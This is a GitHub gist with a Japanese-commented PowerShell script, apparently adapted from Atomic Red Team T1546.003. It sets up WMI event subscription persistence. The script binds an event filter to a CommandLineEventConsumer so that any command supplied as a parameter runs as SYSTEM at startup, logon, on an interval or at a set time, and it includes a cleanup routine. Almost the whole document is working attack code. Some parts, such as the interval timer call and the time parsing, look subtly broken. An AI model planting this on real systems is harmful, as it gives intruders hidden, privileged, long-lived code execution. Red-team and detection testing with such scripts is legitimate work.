Skip to content

Instantly share code, notes, and snippets.

@segfo
Last active August 7, 2024 06:43
Show Gist options
  • Save segfo/76f64cf8b450e70ab64f8a9ef35de7ad to your computer and use it in GitHub Desktop.
Save segfo/76f64cf8b450e70ab64f8a9ef35de7ad to your computer and use it in GitHub Desktop.
WMIを用いた永続化手法(CimInstance版)
// 参考:https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.003/T1546.003.md
Param(
[ValidateSet("Persistence","Clean")]$Mode="Persistence",
[ValidateSet("OnStartup","OnLogon","OnInterval","OnTime")]$Trigger="OnStartup",
[string]$FilterName = 'WMIEventFilter Persistence',
[string]$ConsumerName = "WMIEventConsumer Persistence",
[int]$IntervalPeriod = 3600,
[string]$ExecutionTime = '10:00:00',
[string]$Command
)
function register_persistence(){
$TimerId = Get-Random;
# Step 1: WMIイベントフィルタを定義する。
Switch ($Trigger) {
'OnStartup' {
$query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
}
'OnLogon' {
$query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LoggedOnUser'"
}
'OnInterval' {
Set-CimInstance -class '__IntervalTimerInstruction' -Arguments @{ IntervalBetweenEvents = ($IntervalPeriod * 1000); TimerId = $TimerId } | Out-Null
$query = "Select * from __TimerEvent where TimerId = '$TimerId'"
}
'OnTime' {
$query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = $($ExecutionTime.Hour.ToString()) AND TargetInstance.Minute = $($ExecutionTime.Minute.ToString()) GROUP WITHIN 60"
}
}
# Step2: 定義したイベントフィルタクエリに名前をつけてCIM(Common Information Model)インスタンスを生成・登録する。
$FilterArgs = @{
name=$FilterName; # フィルタクエリの名前
EventNameSpace='root\CimV2'; # イベントの名前空間
QueryLanguage="WQL"; # クエリの言語
Query=$query; # 定義したフィルタクエリ
}
$Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs
$FilterArgs
# Step3: WMIイベントコンシューマ(実行したいプログラム)を定義して名前をつけてCIMインスタンスを生成する
$ConsumerArgs = @{
name=$ConsumerName; # イベントコンシューマの名前
CommandLineTemplate = $Command; # 実行したいコマンド、SYSTEM権限で起動する。
}
$Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs
$ConsumerArgs
# Step4: WMIイベントフィルタのCIMインスタンスとイベントコンシューマCIMインスタンスを紐づけして、WMIに登録する。
$FilterToConsumerArgs = @{
Filter = [Ref] $Filter; # イベントフィルタオブジェクト
Consumer = [Ref] $Consumer; # イベントコンシューマオブジェクト
}
$FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs
$FilterToConsumerBinding
}
function cleanup_persistence(){
$EventConsumerToCleanup = Get-CimInstance -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = '$ConsumerName'"
$EventFilterToCleanup = Get-CimInstance -Namespace root/subscription -Class __EventFilter -Filter "Name = '$FilterName'"
$FilterConsumerBindingToCleanup = Get-CimInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Filter "Filter = ""__eventfilter.name='$FilterName'"""
Remove-CimInstance -InputObject $FilterConsumerBindingToCleanup
Remove-CimInstance -InputObject $EventConsumerToCleanup
Remove-CimInstance -InputObject $EventFilterToCleanup
}
if($Mode -eq "Persistence"){
if ([string]::IsNullOrEmpty($Command)) {
Write-Host "Command 引数を指定してください" -ForegroundColor Red
exit 1
}
try{
cleanup_persistence
}Catch{}
register_persistence
}else{
cleanup_persistence
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment